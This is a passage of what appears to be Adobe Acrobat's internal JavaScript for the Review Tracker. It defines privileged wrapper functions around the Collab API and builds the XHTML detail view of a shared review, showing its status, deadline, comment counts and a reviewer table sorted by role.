				LogAVUMEvent(EVENT_LOGGING_CATEGORY_TRACKER, EVENT_LOGGING_SUBCATEGORY_REVIEWS, "RemoveMultiple");

				app.endPriv();

				

				return true;

			}

			

			return false;

		}

		catch(e)

		{

			console.println("EXCEPTION: " + e);

			console.println(e.stack);

			myReviewTrackerDebugAlert("EXCEPTION: " + e);

			myReviewTrackerDebugAlert(e.stack);

		}

	});



	var SetReviewFolderForMultipleReviews = app.trustedFunction(function(feedURL, reviewIDs, folderName)

	{

		try

		{

			app.beginPriv();

			Collab.setReviewFolderForMultipleReviews(feedURL, reviewIDs, folderName);

			app.endPriv();

		}

		catch(e)

		{

			console.println("EXCEPTION: " + e);

			console.println(e.stack);

			myReviewTrackerDebugAlert("EXCEPTION: " + e);

			myReviewTrackerDebugAlert(e.stack);

		}

	});



	var ReviewTrackerRemoveFolder = app.trustedFunction(function(url, folder)

	{

		var msg;

		if(url == cReviewsIveSentURL)

			msg = AnnotsString.IDS_REVIEW_PANEL_CONFIRM_REMOVE_FOLDER_SENT;

		else

			msg = AnnotsString.IDS_REVIEW_PANEL_CONFIRM_REMOVE_FOLDER_JOINED;

		msg = msg.replace(/%foldername%/g, folder);



		app.beginPriv();

		var msgboxtitle = app.viewerType == "Reader"? AnnotsString.IDS_PRODUCT_NAME_READER : AnnotsString.IDS_PRODUCT_NAME_ACROBAT;

		var result = app.alert({cTitle:msgboxtitle, cMsg: msg, nIcon: 2, nType: 2});

		app.endPriv();



		if(result == 4)

		{

			app.beginPriv();

			Collab.removeReviewFolder(url, folder);

			LogAVUMEvent(EVENT_LOGGING_CATEGORY_TRACKER, EVENT_LOGGING_SUBCATEGORY_REVIEWS, "RemoveFolder");

			app.endPriv();

		}

	});



	var ReviewTrackerRemoveFolderWhileMultipleSelect = app.trustedFunction(function(url, folder)

	{

		app.beginPriv();

		Collab.removeReviewFolder(url, folder);

		app.endPriv();

	});



	var TrackerExpandSelection = app.trustedFunction(function()

	{

		app.beginPriv();

		Collab.expandTrackerSelection();

		app.endPriv();

	});



	var TrackerCanExpandSelection = app.trustedFunction(function(url)

	{

		app.beginPriv();

		var canExpand = Collab.canExpandTrackerSelection;

		app.endPriv();

		

		return canExpand;

	});



	var TrackerCollapseSelection = app.trustedFunction(function()

	{

		app.beginPriv();

		Collab.collapseTrackerSelection();

		app.endPriv();

	});



	var TrackerCanCollapseSelection = app.trustedFunction(function(url)

	{

		app.beginPriv();

		var canCollapse = Collab.canCollapseTrackerSelection;

		app.endPriv();

		

		return canCollapse;

	});



	var ReviewHasDeadline = app.trustedFunction(function(docID)

	{

		app.beginPriv();

		var hasDeadline = Collab.hasReviewDeadline(docID);

		app.endPriv();

		

		return hasDeadline;

	});



	var ReviewHasCommentRepositoryIntact = app.trustedFunction(function(docID)

	{

		app.beginPriv();

		var hasCommentRepositoryIntact = Collab.hasReviewCommentRepositoryIntact(docID);

		app.endPriv();

		

		return hasCommentRepositoryIntact;

	});



	var ReviewState = app.trustedFunction(function(docID)

	{

		app.beginPriv();

		var reviewState = Collab.getReviewState(docID);

		app.endPriv();

		

		return reviewState;

	});



	var ReviewTrackerRemoveReview = app.trustedFunction(function(item, cType)

	{

		var docID = item.Extension[rmaDocID];

		var msg;

		

		var isInitiated = item.Extension[rmaIsInitiated];

		if(isInitiated && cType == "SharedReview")

			msg = AnnotsString.IDS_REVIEW_PANEL_CONFIRM_REMOVE_REVIEW_SENT;

		else

			msg = AnnotsString.IDS_REVIEW_PANEL_CONFIRM_REMOVE_REVIEW_JOINED;



		msg = msg.replace(/%reviewname%/g, item.Title);



		app.beginPriv();

		var msgboxtitle = app.viewerType == "Reader"? AnnotsString.IDS_PRODUCT_NAME_READER : AnnotsString.IDS_PRODUCT_NAME_ACROBAT;

		var result = app.alert({cTitle:msgboxtitle, cMsg: msg, nIcon: 2, nType: 2});

		app.endPriv();



		if(result == 4 && typeof docID != "undefined")

		{

			switch(cType)

			{

				case "Offline":

					Collab.unregisterOffline(docID);

					break;



				default:

					Collab.unregisterReview(docID);

					break;

			}

			LogAVUMEvent(EVENT_LOGGING_CATEGORY_TRACKER, EVENT_LOGGING_SUBCATEGORY_REVIEWS, "Remove");

			return true;

		}

		else return false;

	});



	var ReviewTrackerRemoveReviewWhileMultipleSelect = app.trustedFunction(function(item, cType)

	{

		var docID = item.Extension[rmaDocID];

		if(typeof docID != "undefined")

		{

			switch(cType)

			{

				case "Offline":

					Collab.unregisterOffline(docID);

					break;



				default:

					Collab.unregisterReview(docID);

					break;

			}

			return true;

		}

		else return false;

	});



	// Review Tracker UI

	var oReviewTrackerUI = 

	{

		createContext: app.trustedFunction(function()

		{

			var result =

			{

				//General strings

				cIveSent: AnnotsString.IDS_REVIEW_PANEL_MY_REVIEWS,

				cNoIveSentReviews: AnnotsString.IDS_TRACKER_NO_SENT_REVIEWS,

				cIveReceived: AnnotsString.IDS_REVIEW_PANEL_PARTICIPANT_REVIEWS,

				cNoIveReceivedReviews: AnnotsString.IDS_TRACKER_NO_SENT_REVIEWS,

				cReviewsSuperGroup: AnnotsString.IDS_TRACKER_REVIEWS_SUPER_GROUP_TITLE,

				nbsp_placeholder: "NBSP_PLACEHOLDER",

				cNotApplicable: AnnotsString.IDS_TRACKER_NOT_APPLICABLE,

				cNewByTotal: AnnotsString.IDS_TRACKER_NEW_BY_TOTAL,

				cUnreadByTotal: AnnotsString.IDS_TRACKER_UNREAD_BY_TOTAL,

				cNewByActive: AnnotsString.IDS_TRACKER_NEW_BY_ACTIVE,

				cActiveByTotal: AnnotsString.IDS_TRACKER_ACTIVE_BY_TOTAL,

				cDeadlineUpdated: AnnotsString.IDS_TRACKER_EXTRA_INFO_DEADLINE_UPDATED,

				cViewCommentsButton: AnnotsString.IDS_TRACKER_VIEW_COMMENTS_BUTTON,

				cReviewersLabel: AnnotsString.IDS_TRACKER_REVIEWERS_LABEL,

				cClick: AnnotsString.IDS_TRACKER_CLICK,

				cHere: AnnotsString.IDS_TRACKER_HERE,

				cToResumeActive: AnnotsString.IDS_TRACKER_TO_RESUME_ACTIVE,

				cHowDoIFixThis: AnnotsString.IDS_TRACKER_HOW_DO_I_FIX_THIS,

				cChangesSinceLastReviewed: AnnotsString.IDS_TRACKER_CHANGES_SINCE_LAST_VIEWED,

				cNoneSinceLastViewed: AnnotsString.IDS_TRACKER_CHANGES_NONE,

				cNewReviewersSinceLastViewed: AnnotsString.IDS_TRACKER_CHANGES_NEW_REVIEWERS,

				cNewCommentsSinceLastViewed: AnnotsString.IDS_TRACKER_CHANGES_NEW_COMMENTS,

				cReviewHasEnded: AnnotsString.IDS_TRACKER_CHANGES_REVIEW_ENDED,

				cNoComments: AnnotsString.IDS_SHARED_REVIEW_STATUS_NO_COMMENTS,

				cNoDeadline: AnnotsString.IDS_SHARED_REVIEW_NO_DEADLINE,

				cUpdated: AnnotsString.IDS_SHARED_REVIEW_DEADLINE_UPDATED,

				cSentUsing: AnnotsString.IDS_SHARED_REVIEW_SENT_USING_SERVER,

				cEmailAttachment: AnnotsString.IDS_SHARED_REVIEW_EMAIL_ATTACHMENT,

				cEditFileLocation: "(" + AnnotsString.IDS_TRACKER_EDIT_FILE_LOCATION + ")",

				cNone: AnnotsString.IDS_TRACKER_NONE,

				

				cNoSentReviews: AnnotsString.IDS_TRACKER_NO_SENT_REVIEWS,

				cNoJoinedReviews: AnnotsString.IDS_TRACKER_NO_JOINED_REVIEWS,

				cNoReviewsInFolder: AnnotsString.IDS_TRACKER_NO_REVIEWS_IN_FOLDER,



				//Table Column Header strings

				cTableHeaderFileName: AnnotsString.IDS_TRACKER_UBER_TABLE_HEADER_FILENAME,

				cTableHeaderDeadline: AnnotsString.IDS_TRACKER_UBER_TABLE_HEADER_DEADLINE,

				cTableHeaderNumberOfComments: AnnotsString.IDS_TRACKER_UBER_TABLE_HEADER_NUM_COMMENTS,

				cTableHeaderNumberOfReviewers: AnnotsString.IDS_TRACKER_UBER_TABLE_HEADER_NUM_REVIEWERS,

				cTableHeaderUnreadByTotal: AnnotsString.IDS_TRACKER_UBER_TABLE_HEADER_UNREAD_BY_TOTAL,

				cTableHeaderNewByTotal: AnnotsString.IDS_TRACKER_UBER_TABLE_HEADER_NEW_BY_TOTAL,

				cTableHeaderNewByActive: AnnotsString.IDS_TRACKER_UBER_TABLE_HEADER_NEW_BY_ACTIVE,

				cTableHeaderEmail: AnnotsString.IDS_TABLE_HEADER_EMAIL,

				cTableHeaderReviewer: AnnotsString.IDS_SHARED_REVIEW_STATUS_NAME,

				cTableHeaderTitle: AnnotsString.IDS_TABLE_HEADER_TITLE,

				cTableHeaderReviewerType: AnnotsString.IDS_SHARED_REVIEW_STATUS_STATUS,

				

				//Def List strings

				cDefListFileLocationProp: AnnotsString.IDS_DEFINITION_LIST_FILE_LOCATION,

				cDefListStatusProp: AnnotsString.IDS_DEFINITION_LIST_STATUS,

				cDefListAccessLevelProp: AnnotsString.IDS_DEFINITION_LIST_ACCESS_LEVEL,

				cDefListErrorProp: AnnotsString.IDS_DEFINITION_LIST_ERROR,

				cDefListSentProp: AnnotsString.IDS_DEFINITION_LIST_SENT,

				cDefListReceivedOnProp: AnnotsString.IDS_DEFINITION_LIST_RECEIVED_ON,

				cDefListDeadlineProp: AnnotsString.IDS_DEFINITION_LIST_DEADLINE,

				cDefListCommentsProp: AnnotsString.IDS_DEFINITION_LIST_COMMENTS,

				cDefListReviewersProp: AnnotsString.IDS_DEFINITION_LIST_REVIEWERS,

				

				//Action strings

				cChangeDeadline: AnnotsString.IDS_TRACKER_ACTION_CHANGE_DEADLINE,

				cAddDeadline: AnnotsString.IDS_TRACKER_ACTION_ADD_DEADLINE,

				cEndReview: AnnotsString.IDS_TRACKER_ACTION_END_REVIEW,

				cDeleteReview: AnnotsString.IDS_TRACKER_ACTION_DELETE_REVIEW,

				cAddReviewers: AnnotsString.IDS_TRACKER_ACTION_ADD_REVIEWERS,

				cNewWithSameReviewers: AnnotsString.IDS_TRACKER_ACTION_NEW_WITH_SAME_REVIEWERS,

				cEmailInitiator: AnnotsString.IDS_TRACKER_ACTION_EMAIL_INITIATOR,

				cEmailAllReviewers: AnnotsString.IDS_TRACKER_ACTION_EMAIL_ALL,



				reviewSync:

				{

					"EBR": AnnotsString.IDS_REVIEW_PANEL_LAST_RECV,

					"BBR": AnnotsString.IDS_REVIEW_PANEL_LAST_DOWNLOAD

				},



				currentReview:

				{

					cReviewID: null,

					oReviewInfo: null,

				},

				

				currentReviewsInFeed:

				{

					aReviewInfo: null,

				},



				showItemView: function(dialog, feed)

				{

					try

					{

						var L = function(s) { return AnnotsString[s]; }

						var LINK = function(scheme, s) 

							{ return scheme + ":" + s; }



						var selection = dialog.getSelection();

						var extension = selection.Extension;

						var cReviewID = extension[rmaDocID];



						this.currentReview.cReviewID = cReviewID;



						app.beginPriv();

						this.currentReview.oReviewInfo = Collab.getReviewInfo(cReviewID);

						app.endPriv();



						var reviewInfo = this.currentReview.oReviewInfo;

						var oReviewers = reviewInfo.oReviewers;



						//status strings to be used in Reviewers Table

						var oStatus =

						{

							Initiator: AnnotsString.IDS_TRACKER_REVIEWER_TYPE_INITIATOR,

							Required: AnnotsString.IDS_TRACKER_REVIEWER_TYPE_REQUIRED,

							Optional: AnnotsString.IDS_TRACKER_REVIEWER_TYPE_OPTIONAL,

							Uninvited: AnnotsString.IDS_TRACKER_REVIEWER_TYPE_ADDED,

						};

						

						//Workflow state strings

						var oWorkflowState =

						{

							"Active": AnnotsString.IDS_WORKFLOW_STATE_INPROGRESS,

							"Ended": AnnotsString.IDS_WORKFLOW_STATE_ENDED,

							"Suspended": AnnotsString.IDS_WORKFLOW_STATE_SUSPENDED,

							"Corrupted": AnnotsString.IDS_WORKFLOW_STATE_CORRUPTED,

						};

						

						//get info of all reviewers

						var nActiveReviewers = 0;

						var aReviewers = [];

						for(var curReviewer in oReviewers)

						{

							//Fix for bug 1556877: Review info does not display when selecting shared review file in Review Tracker.

							//Map should not have empty string as a key. We should guard against such cases.

							if(curReviewer == "")

								continue;

	

							var nComments = oReviewers[curReviewer].nComments;

							var nNewComments = oReviewers[curReviewer].nNewComments;

	

							if(nComments != undefined)

							{

								nActiveReviewers++;

							}

							else

							{

								nComments = 0;

								nNewComments = 0;

							}

	

							var cName = oReviewers[curReviewer].cName;

							if(cName == undefined)

								cName = "";

	

							var cTitle = oReviewers[curReviewer].cTitle;

							if(cTitle == undefined)

								cTitle = "";



							aReviewers[aReviewers.length] = 

							{

								cName: cName,

								cEmail: curReviewer,

								cEmailLink: LINK("acrobat", "internal?mailto=" + escape(curReviewer)),

								cTitle: cTitle,

								cRole: oStatus[oReviewers[curReviewer].cStatus],

								nTotalComments: nComments,

								nUnreadComments: nNewComments,

								bHasParticipated: oReviewers[curReviewer].bHasParticipated

							};

						}

	

						XML.setSettings({ignoreComments: false});

						

						var group = extension[rmaFolder];



						var cTopArrowXHTML = null;

						var cSentRecvd = (feed.URL == cReviewsIveSentURL) ? this.cIveSent : this.cIveReceived;

						var cSentRecvdLink = (feed.URL == cReviewsIveSentURL) ? cReviewsIveSentFeedLink : cReviewsIveReceivedFeedLink;

						

						var cReviewName = selection.Title;



						//if group is not selected, then "Reviews > I've Sent > filename"

						if(group == undefined)

						{

							cTopArrowXHTML =

								<div class="bread_crumb">

									<a class="blueLink" href={cReviewsSuperGroupLink}>{this.cReviewsSuperGroup}</a> > <a class="blueLink" href={cSentRecvdLink}>{cSentRecvd}</a> > {cReviewName}

								</div>

						}

						//there is a group(folder) as well

						else

						{

							var cGroupLink = "acrobat:Inbox?gotoLevel=1";

							

							cTopArrowXHTML =

								<div class="bread_crumb">

									<a class="blueLink" href={cReviewsSuperGroupLink}>{this.cReviewsSuperGroup}</a> > <a class="blueLink" href={cSentRecvdLink}>{cSentRecvd}</a> > <a class="blueLink" href={cGroupLink} style="unicode-bidi: embed;">{group}</a> > {cReviewName}

								</div>

						}

						

						var bIsInitiated = extension[rmaIsInitiated];

						var bIsSharedReview = (extension[rmaMethod] == "SharedReview");

						

						var cVisibleSharedReviewOnly = "display: none;";

						var cVisibleNonSharedReviewOnly = "display: none;";

						if(bIsSharedReview)

							cVisibleSharedReviewOnly = "";

						else

							cVisibleNonSharedReviewOnly = "";



						var cVisibleInitiatedReviewOnly = "display: none;";

						if(bIsInitiated)

							cVisibleInitiatedReviewOnly = "";



						var cReviewFileLink = "acrobat:Review?open=" + cReviewID + "&via=filePathLink";

						var cReviewViewCommentsLink = "acrobat:Review?open=" + cReviewID + "&via=viewCommentsLink";

						var cReviewFilePath = extension[rmaLocation];



						var cReviewServer = reviewInfo.cServer;



						var cReviewStatus = REVIEW_STATE_ACTIVE;//by default the review is active



						var bReviewIsEnded = false;

						if(bIsSharedReview)

						{

							bReviewIsEnded = reviewInfo.bIsEnded;//check if this review is Ended

							if(bReviewIsEnded)

								cReviewStatus = REVIEW_STATE_ENDED;

						}



						var bIsReviewCorrupted = false;

						if(bIsSharedReview)

						{

							bIsReviewCorrupted = reviewInfo.bIsCorrupted;//check if this review is corrupted

							if(bIsReviewCorrupted)

								cReviewStatus = REVIEW_STATE_CORRUPTED;

						}



						var bIsReviewSuspended = false;

						if(bIsSharedReview)

						{

							bIsReviewSuspended = reviewInfo.bIsSuspended;//check if this review is Suspended

							if(bIsReviewSuspended)

								cReviewStatus = REVIEW_STATE_SUSPENDED;

						}

						

						var cClickHerePostString = "";

						var cClickHereLink = "";

						var cHowDoIFixThisLink = "";

						var cVisibleClickHerePart = "display: none;";//dont display by default

						var cVisibleHowDoIFixThis = "display: none;";//dont display by default

						if(cReviewStatus == REVIEW_STATE_SUSPENDED)

						{

							cClickHereLink = "acrobat:Review?resume=" + cReviewID;

							cClickHerePostString = this.cToResumeActive;

							cVisibleClickHerePart = "";

						}

						else if(cReviewStatus == REVIEW_STATE_CORRUPTED)

						{

							cHowDoIFixThisLink = "acrobat:Review?showHelpForCorruptedWorkflow";

							cVisibleHowDoIFixThis = "";

						}



						var cVisibleError = "display: none;";//dont display by default

						var cReviewError = "";

						if(bIsSharedReview)

						{

							cReviewError = reviewInfo.cError;//Errors can be fetched only in case of Shared Review

							if(cReviewError != "")

							{

								cReviewError = cReviewError.replace(/%cProductVariant%/g, app.viewerType.match('Reader') != null ? AnnotsString.IDS_PRODUCT_VARIANT_READER : AnnotsString.IDS_PRODUCT_VARIANT_ACROBAT);

								cReviewError = this.cDefListErrorProp + " " + cReviewError;

								cVisibleError = "";//display if there is an error

							}

						}

						if(cReviewError == "")

							cReviewError = this.nbsp_placeholder;//else the span tag is reduced to null leading to everything getting red



						var cSentRecvdDateTime = "";

						var cSentRecvdProp = "";

						if(bIsInitiated)

						{

							cSentRecvdDateTime = reviewInfo.cSent;

							cSentRecvdProp = this.cDefListSentProp;

						}

						else

						{

							cSentRecvdProp = this.cDefListReceivedOnProp;

							cSentRecvdDateTime = reviewInfo.cReceived;

						}





						var cSentRecvdUsingServer = this.cSentUsing;

						cSentRecvdUsingServer = cSentRecvdUsingServer.replace("%dateTimeSentRecvd%", cSentRecvdDateTime); 

						if(bIsSharedReview)

							cSentRecvdUsingServer = cSentRecvdUsingServer.replace("%serverName%", cReviewServer);

						else if(extension[rmaMethod] == "EBR")

							cSentRecvdUsingServer = cSentRecvdUsingServer.replace("%serverName%", this.cEmailAttachment);

						else if(extension[rmaMethod] == "BBR")

							cSentRecvdUsingServer = cSentRecvdDateTime;

						

						//Access Level strings

						var oAccessLevel =

						{

							"None": AnnotsString.IDS_SHARED_REVIEW_DOC_CENTER_OPEN_ACCESS_SR,

							"Restricted": AnnotsString.IDS_SHARED_REVIEW_DOC_CENTER_LIMIT_ACCESS_SR,

						};



						var cAccessLevel = "";

						var cVisibleAccessLevel = "display: none;";

						if(bIsSharedReview)

						{

							cAccessLevel = reviewInfo.cAccessLevel;

							

							if(cAccessLevel != "Invalid")

							{

								cAccessLevel = oAccessLevel[cAccessLevel];

								cVisibleAccessLevel = "";

							}

						}

						

						var cReviewDeadline = "";

						var cReviewDeadlineUpdate = "";

						

						var cDeadlinePropVal = "";//this shall finally store what is to be shown for the Deadline Property



						if(bIsSharedReview)

						{

							//deadline

							cReviewDeadline = reviewInfo.cDeadline;



							//deadline update

							if(!bIsInitiated)//for initiator there is no deadline update

								cReviewDeadlineUpdate = reviewInfo.cDeadlineUpdate;

						}

						

						var cVisibleDeadline = bIsSharedReview ? "" : "display: none;";//display deadline only for Shared Reviews

						

						if(cReviewDeadlineUpdate != "")//if the review has deadline update, then display it

							cDeadlinePropVal = cReviewDeadlineUpdate;

						else if(cReviewDeadline != "")//if the review has deadline, then display it

							cDeadlinePropVal = cReviewDeadline;

						else

							cDeadlinePropVal = this.cNone;



						var bIsCommentRepositoryDeleted = reviewInfo.bIsCommentRepositoryDeleted;



						var cVisibleChangeDeadline = "display: none;";//dont display by default

						var cVisibleAddDeadline = "display: none;";//dont display by default

						if(!bIsCommentRepositoryDeleted)

						{

							if(cReviewDeadline != "")

							{

								if(bIsInitiated)

									cVisibleChangeDeadline = "";//if review has deadline, then only initiator can change it

							}

							else if(bIsSharedReview)

							{

								if(bIsInitiated)

									cVisibleAddDeadline = "";//if review does not have deadline, then only initiator can change it

							}

						}

						var cReviewChangeDeadlineLink = "acrobat:Review?changeDeadline=" + cReviewID;

						var cReviewAddDeadlineLink = "acrobat:Review?addDeadline=" + cReviewID;



						var bReviewHasEndedUpdate = false;

						var cReviewEndedStyle = "";

						if(cReviewStatus == REVIEW_STATE_ENDED)

						{

							var cWorkflowsFileState = reviewInfo.cWorkflowsFileState;

							bReviewHasEndedUpdate = (cWorkflowsFileState != REVIEW_STATE_ENDED);

							cReviewEndedStyle = bReviewHasEndedUpdate ? "font-weight: bold;" : "";

						}



						var cVisibleEndReview = "display: none;";//dont display by default

						if(bIsInitiated && bIsSharedReview)

						{

							if(!bReviewIsEnded)

								cVisibleEndReview = "";//if review is not ended, then initiator can end review for shared review

						}



						var cReviewEndReviewLink = "acrobat:Review?end=" + cReviewID;

						

						var cPDFIconForReview = (bIsSharedReview && bReviewIsEnded) ? "ended-iconic" : "pdf-iconic";



						var cReviewComments = "";

						if(bIsSharedReview)//only for Shared Review we show the number of comments

						{

							cReviewComments = this.cNewByTotal;

							cReviewComments = cReviewComments.replace(/%new%/, "" + reviewInfo.nNewComments);

							cReviewComments = cReviewComments.replace(/%total%/, "" + reviewInfo.nComments);

						}



						var cReviewReviewers = "";

						if(bIsSharedReview)//only for Shared Review we show the number of reviewers

						{

							cReviewReviewers = this.cNewByActive;

							cReviewReviewers = cReviewReviewers.replace(/%new%/, "" + reviewInfo.nNewReviewers);

							cReviewReviewers = cReviewReviewers.replace(/%active%/, "" + nActiveReviewers);

						}

						

						var cVisibleEmailInitiator = "display: none;";//dont display by default

						if(!bIsInitiated)

							cVisibleEmailInitiator = "";

						//show "Add Reviewers" if I am the initiator and the review has not ended for Shared Review

						var cVisibleAddReviewers = "display: none;";//dont display by default

						if(bIsInitiated && (!bIsSharedReview || !bReviewIsEnded))

							cVisibleAddReviewers = "";

						var cVisibleNewWithSameReviewers = "display: none;";//dont display by default

						if(bIsInitiated && bIsSharedReview)

							cVisibleNewWithSameReviewers = "";

						var cReviewEmailInitiatorLink = "acrobat:Review?emailInitiator=" + cReviewID;

						var cReviewEmailAllReviewersLink = "acrobat:Review?emailAllReviewers=" + cReviewID;

						var cReviewAddReviewersLink = "acrobat:Review?invite=" + cReviewID;

						var cReviewNewWithSameReviewersLink = "acrobat:Review?newSharedReviewWithSameReviewers=" + cReviewID;



						var viewXHTML = 

							<html xmlns="http://www.w3.org/1999/xhtml">

								<head>

									<meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>

									<link href="AdobeTracker/main.css" rel="stylesheet" type="text/css"/>

								</head>



								<body id="body">

									<div id="pg_sent_details" style="margin-left: 35px;">

										<br />

										<div class="buttons">

											<a href={cReviewViewCommentsLink} title={cReviewFilePath} class={cPDFIconForReview}><span style="color: blue; text-decoration: underline; font-weight: bold; font-size: 12;">{this.cViewCommentsButton}</span></a>

										</div>

										

										<br />



										<div style="margin-left: -6px;">

											<table class="definitionListTableSmall">

												<tr>

													<th><span class="dontWrap">{this.cDefListFileLocationProp}</span></th>

													<td><a href={cReviewFileLink}><span class="blueLink">{cReviewFilePath}</span></a></td>

												</tr>



												<tr>

													<th><span class="dontWrap">{this.cDefListStatusProp}</span></th>

													<td><span class="dontWrap"><span style={cReviewEndedStyle}>{oWorkflowState[cReviewStatus]}</span> <span style={cVisibleHowDoIFixThis}><a style="color:blue;" href={cHowDoIFixThisLink}>({this.cHowDoIFixThis})</a></span> <span style={cVisibleClickHerePart}>({this.cClick} <a style="color:blue;" href={cClickHereLink}>{this.cHere}</a> {cClickHerePostString})</span></span></td>

												</tr>



												<tr style={cVisibleError}>

													<th>{this.nbsp_placeholder}</th>

													<td><img style="vertical-align:middle; margin-right: 6px;" src="AdobeTracker/warning.gif" /><span style="color:red;">{cReviewError}</span></td>

												</tr>



												<tr>

													<th><span class="dontWrap">{cSentRecvdProp}</span></th>

													<td><span class="dontWrap">{cSentRecvdUsingServer}</span></td>

												</tr>



												<tr style={cVisibleAccessLevel}>

													<th><span class="dontWrap">{this.cDefListAccessLevelProp}</span></th>

													<td><span class="dontWrap">{cAccessLevel}</span></td>

												</tr>



												<tr style={cVisibleDeadline}>

													<th><span class="dontWrap">{this.cDefListDeadlineProp}</span></th>

													<td><span class="dontWrap">{cDeadlinePropVal}</span></td>

												</tr>

											</table>

										</div>



										<div style={cVisibleInitiatedReviewOnly} class="buttons">

											<a style={cVisibleChangeDeadline} href={cReviewChangeDeadlineLink} class="change-deadline-iconic"><span class="blueLink">{this.cChangeDeadline}</span></a>

											<a style={cVisibleAddDeadline} href={cReviewAddDeadlineLink} class="change-deadline-iconic"><span class="blueLink">{this.cAddDeadline}</span></a>

											<a style={cVisibleEndReview} href={cReviewEndReviewLink} class="end-review-iconic"><span class="blueLink">{this.cEndReview}</span></a>

										</div>

										

										<span style={cVisibleInitiatedReviewOnly}>

											<br />

										</span>



										<div class="dottedLine">{this.nbsp_placeholder}</div>



										<br />

										

										<div class="buttons">

											<span class="reviewers-iconic" style="font-weight:bold; font-size:12;">{this.cReviewersLabel}</span>

										</div>



										<div style="margin-left: -6px;">

											<table class="definitionListTableSmall" style={cVisibleSharedReviewOnly}>

												<tr>

													<th><span class="dontWrap">{this.cDefListCommentsProp}</span></th>

													<td><span class="dontWrap">{cReviewComments}</span></td>

												</tr>



												<tr>

													<th><span class="dontWrap">{this.cDefListReviewersProp}</span></th>

													<td><span class="dontWrap">{cReviewReviewers}</span></td>

												</tr>

											</table>

										</div>

										

										<span style={cVisibleNonSharedReviewOnly}>

											<br />

										</span>



										<div class="buttons">

											<a style={cVisibleEmailInitiator} href={cReviewEmailInitiatorLink} class="email-initiator-iconic"><span class="blueLink">{this.cEmailInitiator}</span></a>

											<a href={cReviewEmailAllReviewersLink} class="email-all-iconic"><span class="blueLink">{this.cEmailAllReviewers}</span></a>

											<a style={cVisibleAddReviewers} href={cReviewAddReviewersLink} class="add-reviewer-iconic"><span class="blueLink">{this.cAddReviewers}</span></a>

											<a style={cVisibleNewWithSameReviewers} href={cReviewNewWithSameReviewersLink} class="review-same-reviewers-iconic"><span class="blueLink">{this.cNewWithSameReviewers}</span></a>

										</div>



										<br />

									</div>



									<div class="borderedDivDetailPage">

										<table id="reviewerList" class="borderedTable" cellpadding="15" cellspacing="0">

											<tr bgcolor={cTableHeaderColor}>

												<th style="margin-left: 10px;">{this.cTableHeaderEmail}</th>

												<th>{this.cTableHeaderReviewer}</th>

												<th>{this.cTableHeaderTitle}</th>

												<th style={cVisibleSharedReviewOnly}><center>{this.cTableHeaderNumberOfComments}<br />{this.cTableHeaderNewByTotal}</center></th>

												<th>{this.cTableHeaderReviewerType}</th>

											</tr>

										</table>

									</div>



								</body>

							</html>



						//get the reference to BODY with ID "body"

						var body = null;

						

						var xhtml = new Namespace("http://www.w3.org/1999/xhtml");

						for each(var i in viewXHTML..xhtml::body)

						{

							if(i.@id == "body")

							{

								body = i;

								break;

							}

						}

						//

						body.prependChild(cTopArrowXHTML);//prepend the Top Arrow XHTML as a child of body



						//get the reference to TABLE with ID "reviewerList"

						var tableXHTML = null;

						

						var xhtml = new Namespace("http://www.w3.org/1999/xhtml");

						for each(var i in viewXHTML..xhtml::table)

						{

							if(i.@id == "reviewerList")

							{

								tableXHTML = i;

								break;

							}

						}

						//

						

						//Sorting functionality for Reviewers table in Detailed View of a Review

						var rolePriority =

						{

							Initiator: 4,

							Required: 3,

							Optional: 2,

							Added: 1,

						};

						

						var isRoleEqual = function(role1, role2)

						{

							var nRole1 = rolePriority[role1];

							var nRole2 = rolePriority[role2];

							

							return (nRole1 == nRole2);

						};

						

						var isRoleLesser = function(role1, role2)

						{

							var nRole1 = rolePriority[role1];

							var nRole2 = rolePriority[role2];



							return (nRole1 < nRole2);

						};

						

						var isReviewerLesser = function(reviewer1, reviewer2)

						{

							if(isRoleLesser(reviewer1.cRole, reviewer2.cRole))

								return 1;

							else if(isRoleEqual(reviewer1.cRole, reviewer2.cRole))

							{

								//compare the email IDs - case-insensitive

								var emailID1 = reviewer1.cEmail.toLowerCase();

								var emailID2 = reviewer2.cEmail.toLowerCase();

								

								return (emailID1 > emailID2);

							}

							else

								return 0;

						};

						//

						

						//sort reviewers Initiator->Required->Optional->Added and then on Email(alphabetical, case-insensitive)

						for(var current = 1; current < aReviewers.length; current++)

						{

							//save the current value

							var curVal = aReviewers[current];

							//



							var trav = current - 1;

							for(; trav >= 0; trav--)

							{

								//check if aReviewers[trav] < curVal

								if(isReviewerLesser(aReviewers[trav], curVal))

									aReviewers[trav + 1] = aReviewers[trav];

								else//if(aReviewers[trav] >= curVal)

									break;

							}

		

							if((trav + 1) != current)

								aReviewers[trav + 1] = curVal;

						}

						//

						

						var evenOddRow = false;



						for(var curReviewerIndex = 0; curReviewerIndex < aReviewers.length; curReviewerIndex++)

						{

							var curReviewer = aReviewers[curReviewerIndex];



							var cComments = this.cUnreadByTotal;

							if(!curReviewer.bHasParticipated)

								cComments = "";

							else

								cComments = "" + curReviewer.nUnreadComments + " / " + curReviewer.nTotalComments;



							evenOddRow = !evenOddRow;

							var cRowColor = evenOddRow ? cTableOddRowColor : cTableEvenRowColor;



							var trReviewerXHTML =

								<tr bgcolor={cRowColor}>

									<td><a href={curReviewer.cEmailLink}><span class="blueLink">{curReviewer.cEmail}</span></a></td>

									<td>{curReviewer.cName}</td>

									<td>{curReviewer.cTitle}</td>

									<td style={cVisibleSharedReviewOnly}><center>{cComments}</center></td>

									<td>{curReviewer.cRole}</td>

								</tr>

							tableXHTML.appendChild(trReviewerXHTML);

						}



						var stm = util.streamFromString(viewXHTML.toXMLString().replace(/NBSP_PLACEHOLDER/g, "&nbsp;"), "utf-8");

						app.beginPriv();

						Collab.saveTrackerHTML(viewXHTML.toXMLString().replace(/NBSP_PLACEHOLDER/g, "&nbsp;"));

						app.endPriv();

						dialog.load({"html": stm});

					}

					catch(e)

					{

						console.println("EXCEPTION: " + e);

						console.println(e.stack);

						myReviewTrackerDebugAlert("EXCEPTION: " + e);

						myReviewTrackerDebugAlert(e.stack);

					}

				},



				showFeedView: function(dialog, feed)

				{

					try

					{

						var L = function(s) { return AnnotsString[s]; }

						var LINK = function(scheme, s) { return scheme + ":" + s; }

	

						var extension = feed.Extension;

						var items = feed.Items;

						var group;

	

						XML.setSettings({ignoreComments: false});



						var aReviewList = [];//this array shall hold all the reviews to be shown in this Feed/Summary View

	

						if(dialog.isGroupSelection())

							group = dialog.getSelection("Group");



						//free up the old reviewinfo objects

						if(this.currentReviewsInFeed.aReviewInfo)

						{

